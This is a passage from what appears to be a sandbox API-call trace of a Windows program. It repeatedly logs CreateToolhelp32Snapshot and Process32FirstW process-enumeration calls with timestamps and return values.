th32ProcessID=0x0) returned 0x284 [0203.547] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0203.702] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0203.961] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.184] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0204.201] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0204.361] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0204.529] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0205.040] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.235] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0205.262] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0205.483] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0205.653] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.823] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0205.825] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.015] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0206.017] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0206.336] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.508] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0206.541] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0206.745] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.025] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0207.035] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0207.218] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.374] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0207.377] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0207.577] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.767] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0207.800] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.115] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0208.118] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.268] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0208.281] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.431] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0208.457] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.647] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0208.649] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.818] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0208.823] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0209.022] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0209.165] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.350] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0209.352] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0209.561] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.746] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0209.754] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.961] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0210.000] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.194] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0210.206] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0210.428] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.611] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0210.613] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.765] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0210.767] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0211.034] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.231] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0211.241] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.434] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0211.437] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.624] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0211.627] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0212.074] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.344] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0212.360] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0212.555] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.753] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0212.770] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0212.962] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0213.128] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.293] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0213.295] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.482] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0213.498] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.699] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0213.709] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.118] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0214.121] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0214.354] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.545] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0214.563] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.789] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0214.791] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.016] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0215.019] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0215.216] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.374] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0215.376] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0215.586] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0215.837] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.104] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0216.107] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.258] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0216.261] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.432] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0216.435] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0216.636] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0216.822] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.976] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0216.978] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0217.144] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0217.326] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.485] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0217.487] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0217.695] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.931] 